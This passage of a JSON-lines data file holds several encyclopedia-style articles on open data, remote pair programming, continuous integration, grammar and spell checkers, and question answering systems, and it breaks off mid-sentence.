knowledge. We therefore need to build better data literacy. AI algorithms are being used to analyse data but many are black-box models. They also promote data centralization and control, which are at odds with the open data movement. \n\nData infrastructure must of consistent quality. Data can also be biased by gender or against minority groups. \n\n## Milestones\n\n1942\n\nThe concept of open data starts with Robert King Merton, one of the fathers of the sociology of science. He explains how freely sharing scientific research and results can stimulate growth and innovation. \n\n1994\n\nIn the US, the Government Printing Office (GPO) goes online and opens a few government-related documents. This is an early example of **open government data** at a time when the Internet was becoming popular. Historically and legally, the idea can be traced back to the the Freedom of Information Act of 1966. \n\n2005\n\nThe Open Knowledge Foundation creates the **Open Definition**. This is based on established principles from the open source movement for software. This definition is later translated into more than 30 languages. In November 2015, Open Definition 2.1 is released. \n\nFeb  \n2006\n\nAt a TED talk, Hans Rosling presents compelling visuals of global trends in health and economics. Using publicly available datasets from different sources, he debunks myths about the developing world. He makes a case for governments and organizations to open up their data. Data must be enabled using design tools. His mantra is to animate and liberate data from closed databases. Data must also be searchable. \n\nDec  \n2007\n\nThirty individuals meet at Sebastopol, California to discuss open public data. Many of them come from the culture of free and open source software movement. This event can be seen as a convergence of many past US and European efforts in open data. They identify **eight principles**: complete, primary, timely, accessible, machine processable, non-discriminatory, non-proprietary, and license-free. \n\nFeb  \n2009\n\nAt a TED talk, Tim Berners-Lee gets people to chant \"Raw data, now.\" He makes reference to Rosling's talk of 2006 and adds that it's important to link data from different sources. He calls this **Linked Data**. He mentions *DBpedia*, which takes data from Wikipedia and connects them up. \n\nMay  \n2009\n\nThe US government launches **Data.gov** with 47 datasets. About five years later, it has about 100,000 datasets. \n\n2010\n\nMany governments attempt to open their data to public but there are concerns about privacy. It's only in 2015 that privacy principles become an essential part of discussions on open data. It's become clear that providing raw data is not always possible. Governments must balance potential benefits to public against privacy rights of individuals. \n\n2012\n\nGuillermo Moncecchi of Open Knowledge International writes that beyond transparency, open data is also about building a **public data infrastructure**. While the focus during 2007-2009 was on data transparency, during 2010-2016 focus shifts to public infrastructure. Consider data about street light locations. Citizens can use this data to solve problems on their own. Metrics change from number of published datasets to APIs and reuse. \n\nJun  \n2017\n\nOpen Knowledge Foundation publishes the **Global Open Data Index (GODI)**. This shows that only 38% of government data is really open. This is based on Open Definition 2.1. A later update available online shows that only 166 of 1410 datasets (11%) are open. The report gives a number of recommendations to governments and policy makers to make their data more open. \n\nJan  \n2018\n\nOpen Data Charter replaces their earlier ambitious call of \"open by default\" with a more practical \"publish with purpose\". Rather than getting governments to open up as much data as possible quickly, the intent is to get them to take small steps in that direction. Governments can open datasets with a clear view of tangible benefits to citizens. \n\nFeb  \n2018\n\nUsing open data exposed by Here.com via an API, Tjukanov uses visualization to show average traffic congestion in many of the world's largest cities. Interesting patterns emerge, plotted within a radius of 50km from the city center. He uses QGIS, an open source GIS platform.  This is an example of the value that open data plus open source can unlock.\n\nJan  \n2020\n\nUsing open data collated by the Institute for Government from data.gov.uk, Peter Cook produces interesting **organograms**, which are visualizations of organization structures. He does this for many UK government departments. Clicking on individual data points shows name, job title, salary range and other details. This sort of data has been available (though patchy) since March 2011.","meta":{"title":"Open Data","href":"open-data"}}
{"text":"# Remote Pair Programming\n\n## Summary\n\n\nPair programming is a practice in which developers work in pairs. When the pair is not sitting next to each other, we call it **Remote Pair Programming (RPP)**. Remote pair programming has the same benefits as pair programming: higher quality software, fewer defects, knowledge sharing, team cohesion, faster delivery, and more.  \n\nThe nature of remote working demands the use of suitable tools. Selecting the right set of tools can enable teams get the best out of pairing. There are plenty of tools in the market today (Sep 2021) for RPP.\n\nSince the coming of COVID-19 in 2020 and an increased adoption of work-from-home culture, RPP has become all the more essential.  \n\nRPP is also called *Distributed Pair Programming (DPP)*, a term that appears to be popular among researchers.\n\n## Discussion\n\n### How is remote pair programming different from pair programming?\n\nIn pair programming, the pair can point to code with their fingers. In RPP, this is done using the keyboard cursor or the mouse pointer. In some tools, both developers may be able to move their own cursors or mouse pointers. In other tools, there's only one cursor and mouse pointer. The person controlling it becomes the driver. \n\nIn pair programming, both developers are looking at the same monitor. RPP allows more flexibility. The navigator could be checking out other parts of the code while the driver is typing. \n\nIn pair programming, it's possible to share physical artefacts such as printed documents or a whiteboard. In RPP, everything must happen online. It's therefore essential to have tools to perform these activities online. \n\nRPP can be used for diverse use cases beyond coding: mentoring, hiring, live tutorials, etc. These are use cases where participants are likely to be at remote locations.\n\nWe should clarify that sharing code for reviews, making pull requests or using version control isn't RPP. These are asynchronous workflows. RPP happens only when both developers are participating concurrently within the same workspace. \n\n\n### What should I look for when selecting a tool for RPP?\n\nHere are some factors to consider: \n\n    + **Installation**: Often called *Cloud IDEs*, these are tools hosted in the cloud. No local installation is required other than a web browser. Other tools require local installation. Better still are *plugins* that extend popular editors/IDEs with collaborative editing capability.\n    + **Cross-Platform**: Some tools may run on Windows but not on Mac or Linux. Plugins are better in this regard. They extend familiar software already available for various platforms.\n    + **Editing**: Simultaneous editing by both developers. Copy/paste between systems. One developer can navigate to other parts of codebase or other applications while the other is editing. Editor/IDE agnostic.\n    + **Multimodal**: Bidirectional live audio/video streaming. Chat window. Integrated with editor/IDE.\n    + **Usability**: Uncluttered layouts. Awareness about what's shared and the current editing context. Automatic turn-off of notifications, thus providing a distraction-free environment.\n    + **Performance**: Minimal lag. Supports high video resolutions. Fall back to lower resolutions on low-bandwidth connections. Visibility into performance metrics.\n    + **Integration**: Connect to code repositories (GitHub, GitLab, Bitbucket) and other tools (Jira, Trello).\n    + **Others**: Security, cost and customer support are also important. Open source may be important for some teams.\n\n### What tools are available for RPP?\n\nThere are dozens of tools out there. One way to classify tools is as follows:  \n\n    + **Screen Show**: Only screensharing. Before switching roles, we need to push code changes to a shared repository. Videoconferencing tools such as Skype, Google Hangouts, Google Meet and Slack Calls are examples.\n    + **Screen Control/Share**: Temporary remote control of your partner's system. Interactions can lag. Zoom, VNC, Join.me, CoScreen, Tuple, TeamViewer and tmux are examples.\n    + **Application Share**: True collaborative editing and hence most preferred. Each environment can be personalized. Developers can use different editors or IDEs. A developer can navigate within the codebase without interrupting the partner. Developers can even edit different parts of the code in parallel. Live Share (with Visual Studio and VS Code), CodeTogether, GitLive, Floobits, Drovio, Atom Teletype, and AWS Cloud9 are examples.Among the Cloud IDEs are AWS Cloud9, Codenvy, and Replit. For privacy, Codenvy has a self-hosted option. \n\nAmong the plugins are Live Share, Remote Collab, Atom Teletype, CodeTogether, GitLive and Floobits. CodeTogether supports VS Code, IntelliJ and Eclipse. Guests can join from IDE or browser. GitLive supports VS Code, IntelliJ and Android Studio. Floobits supports Emacs, Sublime Text, Neovim, IntelliJ and Atom. \n\n\n### How do I select the right tool for RPP?\n\nTeletype for Atom suits pair programming's driver-navigator style. Live Share allows more open-ended collaboration, which perhaps is not what you want. However, Live Share might suit ping-pong style of pairing. In strong-style pairing, we want the navigator to guide the driver step by step. This is best done with only screensharing. \n\nIn Linux, tmux and tmate are popular. These work even on low-bandwidth connections. However, this may not be the best choice for beginners who find it hard to learn the commands. \n\nCloud IDEs may not be optimal for all-day coding. It's also too dependent on net connection. Plugins such as CodeTogether track changes within IDEs and are therefore not demanding on bandwidth (unlike screensharing). CodeTogether team also found that allowing multiple developers to edit code is hard to follow. Their design enforces a master controller who can give/take temporary control to others. \n\n\n### Could you share some tips for RPP?\n\nRPP is easiest if the developers have met before in person. If not, have icebreakers at the start of the project. Informal chats or online games can also help in building rapport. Allow for frequent breaks since remote pairs get tired more easily. When remote pairing across time zones, select a time convenient for both. \n\nStart every session with a clear agenda. Tackle one task at a time. Some companies such as GitLab have an internal app to help developers pair up. \n\nBefore pairing for long hours, get the basics right. Use a good headset that mitigates external noise and echo. Use a large monitor or even two monitors. Use comfortable desk and chair. \n\nMake use of non-verbal cues. Lean forward when you wish to speak. Gesture to draw attention. \n\nFrequently check with your partner about audio/video quality and quickly take corrective action. An audio splitter with two connected headsets allows another colleague to easily join in on any conversation. Always have the audio and video on, even during breaks. This gives the feeling of being connected to the \"office vibe\". \n\n## Milestones\n\n1998\n\n**Extreme Programming (XP)** as practiced at Chrysler is talked about. Pair programming is one of the core practices within XP. \n\n2001\n\nIn the *Agile Manifesto*, Beck et al. point out that face-to-face interactions are most effective. In this light, remote pairing is guaranteed to fail. This motivates research into adapting XP for distributed teams. Schümmer and Schümmer present *TUKAN* as a \"synchronous distributed team programming environment\". TUKAN includes chat, audio, multi-user code editing and integration with version management. They use the term **distributed pair programming**. \n\n2004\n\nHanks publishes results of an empirical study on RPP. He uses a screensharing application called Virtual Network Computing (VNC). He modifies VNC to support a second cursor that the navigator can use as a pointer. Unlike in earlier tools, the second cursor appears only when required. \n\nJul  \n2015\n\nIn a literature survey, da Silva Estácio and Prikladnicki find that most studies have been from a teaching perspective. Only a few studies talk about RPP in a real-world software development setting. They also survey RPP tools. They make recommendations about tool features: shared code repository, support for specific pairing roles, role switching, gesturing, etc. \n\nOct  \n2015\n\nTsompanoudi et al. modify a previously available Eclipse plugin and use it in an educational setting to help students learn programming collaboratively. Tasks are streamlined using **collaboration scripts** that were studied by other researchers as early as 2007. \n\nJan  \n2019\n\n**Tuple** launches alpha release. It claims to be the \"best pair programming tool on macOS\". The focus of Tuple is performance: low CPU usage, low latency, high resolution video and no distracting UI components (sometimes called UI chrome). It also exposes performance graphs to the user so that they can take corrective action. \n\n2020\n\nThe COVID-19 pandemic forces teams to work remotely. Teams used to pair programming are now required to do the same remotely. The situation forces teams to better understand the dynamics of pairing remotely.  It's also expected that the arrival of 5G will make RPP more reliable and sophisticated. \n\nMar  \n2021\n\nPackt Publishing Limited publishes Bolboacă's book titled *Practical Remote Pair Programming*.","meta":{"title":"Remote Pair Programming","href":"remote-pair-programming"}}
{"text":"# Continuous Integration\n\n## Summary\n\n\nContinuous Integration (CI) is the practice of routinely integrating code changes into the main branch of a repository, and testing the changes, as early and often as possible. Ideally, developers will integrate their code daily, if not multiple times a day. \n\nMartin Fowler, Chief Scientist at ThoughtWorks, has stated that, \n\n> Continuous Integration doesn't get rid of bugs, but it does make them dramatically easier to find and remove.\n\n## Discussion\n\n### Why do we need Continuous Integration?\n\nIn the past, developers on a team might work in isolation for an extended period of time and only merge their changes to the master branch once their work was completed. This made merging code changes difficult and time consuming, and also resulted in bugs accumulating for a long time without correction. These factors made it harder to deliver updates to customers quickly. \n\nWith CI, each code change can potentially trigger a build-and-test process. Testing becomes an essential part of the build process. Bugs, if any, are highlighted early before they get a chance to grow or become hard to trace. Essentially, CI breaks down the development process into smaller pieces while also employing a repeatable process of build and test. \n\n\n### What are the benefits of Continuous Integration?\n\nAmong the many benefits of CI are the following: \n\n    + Shorter integration cycles\n    + Better visibility of what others are doing leading to greater communication\n    + Issues are caught and resolved early\n    + Better use of time for development rather than debugging\n    + Early knowledge that your code works along with others' changes\n    + Ultimately, enabling the team to release software faster\n\n### How does Continuous Integration work?\n\nWith continuous integration, developers frequently commit to a shared repository using a version control system such as Git. Prior to each commit, developers may choose to run local unit tests on their code as an extra verification layer before integrating. A continuous integration service automatically builds and runs unit tests on the new code changes to immediately surface any errors. \n\nContinuous integration refers to the build and unit testing stages of the software release process. Every revision that is committed triggers an automated build and test. \n\n\n### What are some CI tools and to choose among them?\n\nThere are many solutions out there. Some of them include Codeship, TravisCI, SemaphoreCI, CircleCI, Jenkins, Bamboo, and Teamcity.\n\nSome factors to consider when selecting a tool include price (commercial or free), features, ease of use, integration (with other tools and frameworks), support (commercial or community) and more. \n\n\n### What are the challenges to Continuous Integration?\n\nTo improve and perfect your CI, you need to overcome 3 major challenges: \n\n    + **No Standalone Fresh Checkout**: The single biggest hurdle to a smooth CI build is ensuring that your application's tests can be run from a fresh code checkout (e.g. a git clone). This means that all of your app's dependencies are either included in the checkout, or they're specified and can be pulled in by a script in the checkout.\n    + **Unreliable Tests**: Now that your app sets up with a single command, you've built a foundation for effective CI. The next challenge is to ensure that your test results are repeatable and reliable. Intermittent or \"expected\" failures that persist for too long are pernicious. Once the habit of treating failures as intermittent takes hold, legitimate errors often get ignored.\n    + **Obscure Build Results**: Once you've produced a reliable test suite, the next challenge is to get results quickly, take appropriate action on them, and distribute information to the people who matter.\n\n### How are Continuous Integration, Continuous Delivery, and Continuous Deployment practices related to one another?\n\nContinuous integration leads to both continuous delivery and continuous deployment. Continuous deployment is like continuous delivery, except that releases happen automatically. \n\nMore specifically, continuous integration requires automated testing to ensure that nothing is broken when new commits are made. Continuous delivery takes this to the next step by automating the release process so that your customers get regular fixes and upgrades.\n\nContinuous delivery still requires manual intervention to initiate the final deployment to production. Continuous deployment automates this last step too. There's no \"Release Day\" as such. Customers see a steady stream of improvements and this enables early feedback. Since releases are small, they're less risky and easier to fix. Jeff Humble, author of the book *Continuous Delivery*, says this about Continuous Deployment, \n\n> Essentially, it is the practice of releasing every good build to users.\n\n## Milestones\n\n1991\n\nGrady Booch first proposes the term **Continuous Integration (CI)**. In 1994, he uses the term in his book *Object-Oriented Analysis and Design with Applications*. \n\n1997\n\nKent Beck and Ron Jeffries invent **Extreme Programming (XP)** while on the Chrysler Comprehensive Compensation System project. Beck publishes about continuous integration in 1998. Extreme Programming embraces the practice of CI. \n\n2001\n\n**CruiseControl**, one of the first open-source CI tools, is released.","meta":{"title":"Continuous Integration","href":"continuous-integration"}}
{"text":"# Grammar and Spell Checker\n\n## Summary\n\n\nA well-written article with correct grammar, punctuation and spelling along with an appropriate tone and style to match the needs of the intended reader or community is always important. Software tools offer algorithm-based solutions for grammar and spell checking and correction.\n\nClassical rule-based approaches employ a dictionary of words along with a set of rules. Recent neural network-based approaches learn from millions of published articles and offer suggestions for appropriate choice of words and way to phrase parts of sentences to adjust the tone, style and semantics of the sentence. They can alter suggestions based on the publication domain of the article like academic, news, etc.\n\nGrammar and spelling correction are tasks that belong to a more general NLP process called **lexical disambiguation**.\n\n## Discussion\n\n### What is a software grammar and spell checker, its general tasks and uses?\n\nA grammar and spell checker is a software tool that checks a written text for grammatical mistakes, appropriate punctuation, misspellings, and issues related to sentence structure. More recently, neural network-based tools also evaluate tone, style, and semantics to ensure that the writing is flawless.\n\nOften such tools offer a visual indication by highlighting or underlining spelling and grammar errors in different colors (often red for spelling and blue for grammar). Upon hovering or clicking on the highlighted parts, they offer appropriately ranked suggestions to correct those errors. Certain tools offer a suggestive corrected version by displaying correction as strikeout in an appropriate color.\n\nSuch tools are used to improve writing, produce engaging content, and for assessment and training purposes. Several tools also offer style correction to adapt the article for specific domains like academic publications, marketing, and advertising, legal, news reporting, etc.\n\nHowever, till today, no tool is a perfect alternative to an expert human evaluator. \n\n\n### What are some important terms relevant to a grammar and spell checker?\n\nThe following NLP terms and approaches are relevant to grammar and spell checker: \n\n    + **Part-of-Speech (PoS)** tagging marks words as noun, verb, adverb, etc. based on definition and context.\n    + **Named Entity Recognition (NER)** is labeling a sequence of text into predefined categories such as name, location, etc. Labels help determine the context of words around them.\n    + **Confusion Set** is a set of probable words that can appear in a certain context, e.g. set of articles before a noun.\n    + **N-Gram** is a sub-sequence of n words or tokens. For example, \"The sun is bright\" has these 2-grams: {\"the sun\", \"sun is\", \"is bright\"}.\n    + **Parallel Corpus** is a collection of text placed alongside its translation, e.g. text with errors and its corresponding corrected version(s).\n    + **Language Model (LM)** determines the probability distribution over a sequence of words. It says how likely is a particular sequence of words.\n    + **Machine Translation (MT)** is a software approach to translate one sequence of text into another. In grammar checking, this refers to translating erroneous text into correct text.\n\n### What are the various types of grammar and spelling errors?\n\nWe describe the following types: \n\n    + **Sentence Structure**: Parts of speech are organized incorrectly. For example, \"she began to singing\" shows misplaced 'to' or '-ing'. Dependent clause without the main clause, run-on sentence due to missing conjunction, or missing subject are some structural errors.\n    + **Syntax Error**: Violation of rules of grammar. These can be in relation to subject-verb agreement, wrong/missing article or preposition, verb tense or verb form error, or a noun number error.\n    + **Punctuation Error**: Punctuation marks like comma, semi-colon, period, exclamation, question mark, etc. are missing, unnecessary, or wrongly placed.\n    + **Spelling Error**: Word is not known in the dictionary.\n    + **Semantic Error**: Grammar rules are followed but the sentence doesn't make sense, often due to a wrong choice of words. \"I am going to the library to buy a book\" is an example where 'bookstore' should replace 'library'. Rule-based approaches typically can't handle semantic errors. They require statistical or machine learning approaches, which can also flag other types of errors. Often a combination of approaches leads to a good solution.\n\n### What are classical methods for implementing grammar and spell checkers?\n\nClassical methods of spelling correction match words against a given dictionary, an approach alluded by critiques to be unreliable as it can't detect incorrect use of correctly spelled words; or correct words not in the dictionary, like technical words, acronyms, etc.\n\nGrammar checkers use hand-coded grammar rules on PoS tagged text for correct or incorrect sentences. For instance, the rule `I + Verb (3rd person, singular form)` corresponds to the incorrect verb form usage, as in the phrase \"I has a dog.\" These methods provide detailed explanations of flagged errors making it helpful for learning. However, rule maintenance is tedious and devoid of context. \n\nStatistical approaches validate parts of a sentence (n-grams) against their presence in a corpus. These approaches can flag words used out of context. However, it's challenging to provide detailed explanations. Their efficiency is limited to the choice of corpora. \n\n**Noisy channel model** is one statistical approach. A LM based on trigrams and bigrams gives better results than just unigrams. Where rare words are wrongly corrected, using a blacklist of words or a probability threshold can help. \n\n\n### What are Machine Learning-based methods for implementing grammar and spell checkers?\n\nML-based approaches are either Classification (discriminative) or Machine Translation (generative).\n\n**Classification** approaches work with well-defined errors. Each error type (article, preposition, etc.) requires training a separate multi-class classifier. For example, a proposition error classifier takes n-grams associated with propositions in a sentence and outputs a score for every candidate proposition in the confusion set. Contextual corrections also consider features like PoS and NER. A model can be a linear classifier like a Support Vector Machine (SVM), an n-gram LM-based or Naïve Bayes classifier, or even a DNN-based classifier. \n\n**Machine Translation** approaches can be Statistical Machine Translation (SMT) or Neural Machine Translation (NMT). Both these use parallel corpora to train a sequence-to-sequence model, where text with errors translates to corrected text. NMT uses encoder-decoder architecture, where an encoder determines a latent vector for a sentence based upon the input word embeddings. The decoder then generates target tokens from the latent vector and relevant surrounding input and output tokens (attention). These benefit from transfer learning and advancements in transformer-based architecture. Editor models reduce training time by outputting edits to input tokens from a reduced confusion set instead of generating target tokens. \n\n\n### How can I train an NMT model for grammar and spell checking?\n\nIn general, NMT requires training an **encoder-decoder model** using cross-entropy as the loss function by comparing maximum likelihood output to the gold standard correct output. To train a good model requires a large number of parallel corpora and compute capacity. Transformers are attention-based deep seq2seq architectures. Pre-trained language models generated by transformer architectures like BERT provide contextual embeddings to find the most likely token given the surrounding tokens, making it useful to flag contextual errors in an n-gram.\n\n**Transfer learning** via fine tuning weights of a transformer using the parallel corpus of incorrect to correct examples makes it suitable for GEC use. Pre-processing or pre-training with synthetic data improves the performance and accuracy. Further enhancements can be to use separate heads for different types of errors. \n\n**Editor models** are better as they output edit sequences instead of corrected versions. Training and testing of editor models require the generation of edit sequences from source-target parallel texts.\n\n\n### What datasets are available for training and evaluation of grammar and spell check models?\n\nMT or classification models need datasets with annotated errors. NMT requires a large amount of data. \n\n*Lang 8*, the largest available parallel corpora, has 100,051 English entries. *Corpus of Linguistic Acceptability (CoLA)* is a dataset of sentences labeled as either grammatically correct or incorrect. It can be used, for example, to fine tune a pre-trained model. *GitHub Typo Corpus* is harvested from GitHub and contains errors and their corrections. \n\nBenchmarking data in Standard Generalized Markup Language (SGML) format is available. Sebastian Ruder offers a detailed list of available benchmarking test datasets along with the various models (publications and source code). \n\n**Noise models** use transducers to produce erroneous sentences from correct ones with a specified probability. They induce various error types to generate a larger dataset from a smaller one, like replacing a word from its confusion set, misplace or remove punctuations, induce spelling, tense, noun number, or verb form mistakes, etc. **Round-trip MT**, such as English-German-English translation, can also generate parallel corpora. **Wikipedia edit sequences** offer millions of consecutive snapshots to serve as source-target pairs.  However, only a tiny fraction of those edits are language related.\n\n\n### How do I annotate or evaluate the performance of grammar and spell checkers?\n\nERRor ANnotation Toolkit (ERRANT) enabled suggestions with explanation. It automatically annotates parallel English sentences with error type information, thereby standardizing parallel datasets and facilitating detailed error type evaluation. \n\nTraining and evaluation require comparing the output to the target gold standard and giving a numerical measure of effectiveness or loss. Editor models have an advantage as the sequence length of input and output is the same. Unequal sequences need alignment with the insertion of empty tokens.\n\nMax-Match (\\(M^2\\)) scorer determine the smallest edit sequence out of the multiple possible ways to arrive at the gold standard using the notion of Levenshtein distance. The evaluation happens by computing precision, recall, and F1 measure between the set of system edits and the set of gold edits for all sentences after aligning the sequences to the same length.\n\nDynamic programming can also align multiple sequences to the gold standard when there is more than one possible correct outcome. \n\n\n### Could you mention some tools or libraries that implement grammar and spell checking?\n\n*GNU Aspell* is a standard utility used in GNU OS and other UNIX-like OS. *Hunspell* is a spell checker that's part of popular software such as LibreOffice, OpenOffice.org, Mozilla Firefox 3 & Thunderbird, Google Chrome, and more. Hunspell itself is based on MySpell. Hunspell can use one or more dictionaries, stemming, morphological analysis, and Unicode text. \n\nPython packages for spell checking include `pyspellchecker`, `textblob` and `autocorrect`. \n\nA search for \"grammar spell\" on GitHub brings up useful dictionaries or code implemented in various languages. There's a converter from British to American English. Spellcheckr is a JavaScript implementation for web frontends. \n\nDeep learning models include Textly-DRF-API and GECwBERT.\n\nMany online services or offline software also exist: WhiteSmoke from 2002, LanguageTool from 2005, Grammarly from 2009, Ginger from 2011, Reverso from 2013, and Trinka from 2020. Trinka focuses on an academic style of writing. Grammarly focuses on suggestions in terms of writing style, clarity, engagement, delivery, etc. \n\n## Milestones\n\n1960\n\nBlair implements a simple spelling corrector using heuristics and a dictionary of correct words. Incorrect spellings are associated with the corrected ones via abbreviations that indicate similarity between the two. Blair notes that this is in some sense a form of pattern recognition. In one experiment, the program successfully corrects 89 of 117 misspelled words. In general, research interest in spell checking and correction begins in the 1960s. \n\n1971\n\nR. E. Gorin writes **Ispell** in PDP-10 assembly. Ispell becomes the main spell-checking program for UNIX. Ispell is also credited with introducing the generalized affix description system. Much later, Geoff Kuenning implements a C++ version with support for many European languages. This is called **International Ispell**. GNU Aspell, MySpell and Hunspell are other software inspired by Ispell.  \n\n1980\n\nIn the 1980s, GEC systems are **syntax-based systems**, such as EPISTLE. They determine the syntactic structure of each sentence and the grammatical functions fulfilled by various phrases. They detect several classes of grammatical errors, such as disagreement in number between the subject and the verb.\n\n1990\n\nThis decade focuses on simple **linear classifiers** to flag incorrect choice of articles or statistical methods to identify and flag use of commonly confused words. Confusion can be due to identical sounding words, typos etc.\n\n2000\n\nRule-based methods evolve in the 2000s. Rule generation is based on parse trees, designed heuristically or based on linguistic knowledge or statistical analysis of erratic texts. These methods don't generalize to new types of errors. New rules need to be constantly added. \n\n2005\n\nThe mid-2000s sees methods to record and create aligned corpora of pre- and post-editing ESL (English as a Second Language) writing samples. SMTs offer improvement in identifying and correcting writing errors. GEC sees the use of semantic and syntactic features including PoS tags and NER information for determining the applicable correction. Support Vector Machines (SVMs), n-gram LM-based and Naïve Bayes classifiers are used to predict the potential correction.\n\n2010\n\n**DNN-based classifier** approaches are proposed in 2000s and early 2010s. However, a specific set of error types have to be defined. Typically only well-defined errors can be addressed with these approaches. SMT models learn mappings from source text to target text using a noisy channel model. SMT-based GEC models use parallel corpora of erratic text and grammatically correct version of the same text in the same language. Open-source SMT engines are available online and include Moses, Joshua and cdec. \n\n2016\n\n**Neural Machine Translation (NMT)** shows better prospects by capturing some learner errors missed by SMT models. This is because NMT can encode structural patterns from training data and is more likely to capture an unseen error. \n\n2018\n\nWith the advent of **attention-based transformer architecture** in 2017, its application to GEC gives promising results. \n\n2019\n\nMethods to improve the training data by text augmentation of various types, including cyclic machine translation, emerge. These improve the performance of GEC tools significantly and enable better flagging of style or context-based errors or suggestions. Predicting edits instead of tokens allows the model to pick the output from a smaller confusion set. Thus, editor models lead to faster training and inference of GEC models.","meta":{"title":"Grammar and Spell Checker","href":"grammar-and-spell-checker"}}
{"text":"# Question Answering\n\n## Summary\n\n\nSearch engines, and information retrieval systems in general, help us obtain relevant documents to any search query. In reality, people want answers. Question Answering (QA) is about giving a direct answer in the form of a grammatically correct sentence. \n\nQA is a subfield of Computer Science. It's predominantly based on Information Retrieval and Natural Language Processing. Both questions and answers are in natural language. \n\nQA is also related to an NLP subfield called *text summarization*. Where answers are long and descriptive, they're probably summarized from different sources. In this case, QA is also called **focused summarization** or **query-based summarization**. \n\nThere are lots of datasets to train and evaluate QA models. By late 2010s, neural network models have brought state-of-the-art results.\n\n## Discussion\n\n### Which are the broad categories of questions answered by QA systems?\n\n**Factoid** questions are the simplest. An example of this is \"What is the population of the Bahamas?\" Answers are short and factual, often identified by named entities. Variations of factoid questions include single answer, list of answers (such as \"Which are the official languages of Singapore?\"), or yes/no. Questions typically ask what, where, when, which, who, or is.\n\nQA research started with factoid questions. Later, research progressed to questions that sought **descriptive** answers. \"Why is the sky blue?\" requires an explanation. \"What is global warming?\" requires a definition. Questions typically ask why, how or what.\n\n**Closed-domain** questions are about a specific domain such as medicine, environment, baseball, algebra, etc. **Open-domain** questions are regardless of the domain. Open-domain QA systems use large collections of documents or knowledge bases covering diverse domains. \n\nWhen the system is given a single document to answer a question, we call it **reading comprehension**. If information has to be searched in multiple documents across domains, the term **open-context open-domain QA** has been used. \n\n\n### What are the main approaches or techniques used in question answering?\n\nQA systems rely on external sources from where answers can be determined. Broad approaches are the following:  \n\n    + **Information Retrieval-based**: Extends traditional IR pipeline. *Reading comprehension* is applied on each retrieved document to select a suitable named entity, sentence or paragraph. This has also been called *open domain QA*. The web (or CommonCrawl), PubMed and Wikipedia are possible sources.\n    + **Knowledge-based**: Facts are stored in knowledge bases. Questions are converted (by semantic parsers) into semantic representations, which are then used to query the knowledge bases. Knowledge could be stored in relational databases or as RDF triples. This has also been called *semantic parsing-based QA*. DBpedia and Freebase are possible knowledge sources.\n    + **Hybrid**: IBM's DeepQA is an example that combines both IR and knowledge approaches.\n\n### What are some variations of question answering systems?\n\nWe note the following variations or specializations of QA systems:\n\n    + **Visual QA (VQA)**: Input is an image (or video) rather than text. VQA is at the intersection of computer vision and NLP.\n    + **Conversational QA**: In dialogue systems, there's a continuity of context. The current question may be incomplete or ambiguous but it can be resolved by looking at past interactions. CoQA and QuAC are two datasets for this purpose.\n    + **Compositional QA**: Complex questions are decomposed into smaller parts, each answered individually, and then the final answers is composed. This technique is used in VQA as well.\n    + **Domain-Specific QA**: Biomedical QA is a specialized field where both domain patterns and knowledge can be exploited. AQuA is a dataset specific to algebra.\n    + **Context-Specific QA**: Social media texts are informal. Models that do well on newswire QA have been shown to do poorly on tweets. Community forums (Quora, StackOverflow) provide multi-sentence questions with often long answers that are upvoted or downvoted.\n\n### What are the key challenges faced by question answering systems?\n\nQA systems face two challenges: **question complexity (depth)** and **domain size (breadth)**. Systems are good at either of these but not both. An example of depth is \"What's the cheapest bus to Chichen Itza leaving tomorrow?\" A much simpler question is \"Where is Chichen Itza?\" \n\n**Common sense reasoning** is challenging. For example, 'longest river' requires reverse sorting by length; 'by a margin of' involves some sort of comparison; 'at least' implies a lower cut-off. Temporal or spatial questions require reasoning about time or space relations. \n\n**Lexical gap** means that a concept can be expressed using different words. For example, we're looking for a 'city' but the question asks about a 'venue'. Approaches to solving this include string normalization, query expansion, and entailment. \n\n**Ambiguity** occurs when a word or phrase can have multiple meanings, only one of which is intended in a given context. The correct meaning can be obtained via corpus-based methods (distributional hypothesis) or resource-based methods. \n\nSometimes the answer is **distributed** across different sources. QA systems need to align different knowledge ontologies. An alternative is to decompose the question into simpler queries and combine the answers later.  \n\n\n### What are the steps in a typical question answering pipeline?\n\nIn IR-based factoid QA, tokens from the question or the question itself forms the query to the IR system. Sometimes stopwords may be removed, the query rephrased or expanded. From the retrieved documents, relevant sentences or passages are extracted. Named entities, n-gram overlap, question keywords, and keyword proximity are some techniques at this stage. Finally, a suitable answer is picked. We can train classifiers to extract an answer. Features include answer type, matching pattern, number of matching keywords, keyword distance, punctuation location, etc. Neural network models are also common for answer selection. \n\nFor knowledge-based QA, the first step is to invoke a semantic parser to obtain a logical form for querying. Such a parser could be rule-based to extract common relations, or it could be learned via supervised machine learning. More commonly, semi-supervised or unsupervised methods are used based on web content. Such methods help us discover new knowledge relations in unstructured text. Relevant techniques include distant supervision, open information extraction and entity linking. \n\n\n### How are neural networks being used in question answering?\n\nWidespread use of neural networks for NLP started with **distributed representation** for words. A feedforward model learned the representation as it was being trained on a language modelling task. In these representations, semantically similar words will be close to one another. The next development was towards **compositional distributional semantics**, where sentence-level representations are composed from word representations. These were more useful for question answering. \n\nIyyer et al. reduced dependency parse trees to vector representations that were used to train an RNN. Yu et al. used a CNN for answer selection. A common approach to answer selection is to look at the similarity between question and answer in the semantic space. Later models added an attention layer between the question and its candidate answers. Tan et al. evaluated BiLSTMs with attention and CNN. Dynamic Coattention Network (DCN) is also based on attention. Facebook researchers combined a seq2seq model with multitasking. \n\nTransformer architecture has been applied for QA. In fact, QA was one of the tasks to which BERT was fine-tuned (on SQuAD) and evaluated. BERTserini used fine-tuned BERT along with information retrieval from Wikipedia. \n\n\n### What are some useful datasets for training or evaluating question answering models?\n\nDatasets are used for training and evaluating QA systems. Based on the design and makeup, each dataset might evaluate different aspects of the system better.\n\nAmong the well-known datasets are Stanford Question Answering Dataset (SQuAD), Natural Question (NQ), Question Answering in Context (QuAC) and HotpotQA. All four are based on Wikipedia content. Conversational Question Answering (CoQA) is a dataset that's based on Wikipedia plus other sources. Wikipedia often presents data in tables. WikiTableQuestions is a dataset in which answers are in tables rather than freeform text. TyDi QA is a multilingual dataset. TweetQA takes its data from Twitter. \n\nQuestion Answering over Linked Data (QALD) is a series of datasets created from knowledge bases such as DBpedia, MusicBrainz, Drugbank and LinkedSpending. \n\nOther datasets to note are ELI5, ShARC, MS MARCO, NewsQA, CMU Wikipedia Factoid QA, CNN/DailyMail QA, Microsoft WikiQA, Quora Question Pairs, CuratedTREC, WebQuestions, WikiMovies, GeoQuery and ATIS. \n\nPapers With Code lists dozens of datasets along with their respective 